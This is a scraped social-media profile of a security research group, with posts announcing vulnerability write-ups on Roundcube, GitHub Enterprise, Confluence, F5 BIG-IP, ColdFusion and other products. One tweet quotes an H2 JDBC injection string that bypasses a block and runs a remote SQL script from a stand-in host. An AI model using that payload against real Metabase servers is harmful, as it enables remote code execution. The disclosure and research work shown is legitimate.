HTTPVoid
@httpvoid0x2f
Followers
4K
Following
35
Media
14
Statuses
50
Infosec | Managed by @rootxharsh @iamnoooob | Research for @pdiscoveryio
Joined November 2021
My research on CVE-2025-49113 is out. https://t.co/kuLczCSv6V. Happy reading! #CVE #roundcube #poc @FearsOff
7
98
337
CVE-2025-49113 is a fascinating PHP Object injection in Roundcube webmail, a really nice find by the original finder. #roundcube #cve-2025-49113 #rce
1
14
61
New from us! Testing a Rails + Nginx app? This should be in your checklist. Read the blog to know how we disclosed Discourse database backups!
New Blogpost - We identified a vulnerability in Discourse where a misconfiguration in Rails send_file + Nginx's internal directive can expose database backups! https://t.co/Ar7FWaHGFw This issue isn't limited to Discourse. It can affect other Rails + Nginx apps with similar
0
1
13
I just published a new blog post sharing an improved Deserialization Gadget Chain for Ruby! It builds on the work of others, including Leonardo Giovanni, Peter Stöckli @GHSecurityLab and @wcbowling
https://t.co/mzXQnA691O
2
63
208
Check out our latest blog post! We dive into GitHub Enterprise’s SAML implementation and explore an authentication bypass in encrypted assertion mode. CVE-2024-4985 / CVE-2024-9487: GitHub Enterprise SAML Authentication Bypass. https://t.co/mFOE6GGkhO
projectdiscovery.io
Introduction In light of the recent Ruby-SAML bypass discovered in GitLab, we set out to examine the SAML implementation within GitHub Enterprise. During our research, we identified a significant...
0
50
180
Checkout our new blogpost! In this post we talk about SAML and the recent Ruby-SAML Auth bypass. CVE-2024-45409: Ruby-SAML Auth Bypass in GitLab https://t.co/VYZ3YG0oXD
3
153
553
My colleague @hash_kitten and I discovered a full-read SSRF vulnerability in Next.js (CVE-2024-34351). We published our research today on @assetnote's blog: https://t.co/pUXGG64B0O. Thank you to the Vercel team for a smooth disclosure process.
17
183
785
Check out my write-up on a seemingly harmless and limited send() in GitHub (CVE-2024-0200) and how it could be used to obtain environment variables from a production container and to achieve remote code execution in GitHub Enterprise Server: https://t.co/jmjTTOxEGY
starlabs.sg
Earlier this year, in mid-January, you might have come across this security announcement by GitHub. In this article, I will unveil the shocking story of how I discovered CVE-2024-0200, a deceptively...
5
84
241
Enjoy our next blog post this time an SQL Injection on Apple’s Infra. Another win nets us a $25,000 bounty! 💻💰 #AppleSecurity #Research #bugbountytips #bugbounty
https://t.co/p09IH8bE86
Check out our latest research blog, including detailed overview of how we discovered an SQL injection vulnerability (+ nuclei template) in Masa/Mura CMS and Hacked into Apple's Infrastructure. https://t.co/QfrbwaHaBc
#AppleSecurity #Research #CyberSecuirty #BugBounty
0
35
185
Check out our new blog post! We hacked into Apple Travel Portal (yes, again!) using a 0-day Remote Code Execution exploit. Part 1 is live now, stay tuned for the follow-up on another RCE worth a total bounty of $40k! https://t.co/az4wNhDYyO
projectdiscovery.io
Last year we conducted an in-depth analysis of multiple vulnerabilities within Adobe ColdFusion, we derived valuable insights, one of which revolved around CFM and CFC handling, parsing and executi...
7
111
355
As the PoC is almost out, we are now publishing our analysis.
🚀 Just released our in-depth analysis of CVE-2023-22527, a critical RCE vulnerability in Atlassian Confluence Data Center & Server. 🛡️ Don't miss out on our findings and learn how to detect and protect your systems! 🔍 https://t.co/jp6lHRHe5f
#cybersecurity #CVE #RCE
2
0
19
Hello OgnlGuard/isSafeExpression, we meet again 🤝 🥲 Confluence OGNL Injection.
1
6
61
Reproduced the CVE-2023-46747 F5 Big-IP RCE via AJP smuggling. Props to @praetorianlabs for identifying this cool bug. @pdnuclei template dropping soon. Time to sleep😴 #f5-rce #CVE-2023-46747
Reproduced the AJP request Smuggling to access /tmui/* resources directly. Very interesting bug indeed, need to further look into post-exploitation. Until next time😴
1
37
169
Reproduced the AJP request Smuggling to access /tmui/* resources directly. Very interesting bug indeed, need to further look into post-exploitation. Until next time😴
F5 BIGIP is vulnerable to a smuggling request vulnerability that an attacker can exploit to achieve unauthorized RCE. Our vulnerability research team responsibly disclose this to F5, which released a hotfix today. https://t.co/dSMv9w6ga9
#vulnerabilityresearch #f5 #cve
0
10
79
HTTP Request Splitting vulnerabilities exploitation https://t.co/6cvM7XD9FY
8
212
729
Here is the #exploit that targets the "VMWare Aria Operations for Networks" which has CVSS 9.8 and targets all the versions from 6.0 to 6.10 (CVE-2023-34039) 🔥 I just wrote the exploit, but the discovery credit is for @rootxharsh and @iamnoooob 👏 https://t.co/iyuICAJShC
0
37
80
Plenty of ways to RCE, another way to bypass the INIT key block for the h2 engine is using an escape character: mem:;\INIT=RUNSCRIPT FROM 'htttp://rce/poc.sql'//\; Great find!
The security research team at @assetnote found and reported a critical pre-auth RCE vulnerability to Metabase earlier this month CVE-2023-38646: https://t.co/ivf1PwweNj This one was an incredibly fun discovery as there are many roads to RCE through JDBC. We've published details
2
8
64
The Metabase pre-auth RCE is interesting. While the entry point is straightforward, the process of exploitation is fun. We suspect we might have exploited this in an unintended way. We'll wait for @assetnote's blog, based on that we may or may not publish our analysis.
1
3
81
⚠ Multiple RCEs, CVEs, and Confusions. Discover the roller coaster ride of vulnerabilities, patch bypasses, and uncover the story behind the temporary take down of our blog! Read now - https://t.co/4kHdz83lOc
#AdobeColdFusion #CVE-2023-29300 #CVE-2023-38203 #CVE-2023-38204
0
10
44
New blogpost! In this post we analyse CVE-2023-29300, a pre-auth RCE in Adobe ColdFusion via unsafe Java Reflection invocation. https://t.co/6av1adAYRP
projectdiscovery.io
For the latest updates on CVE-2023-29300 / CVE-2023-38203 / CVE-2023-38204, see the updates section Introduction The Adobe ColdFusion, widely recognized for its robust web development capabilities,...
2
69
195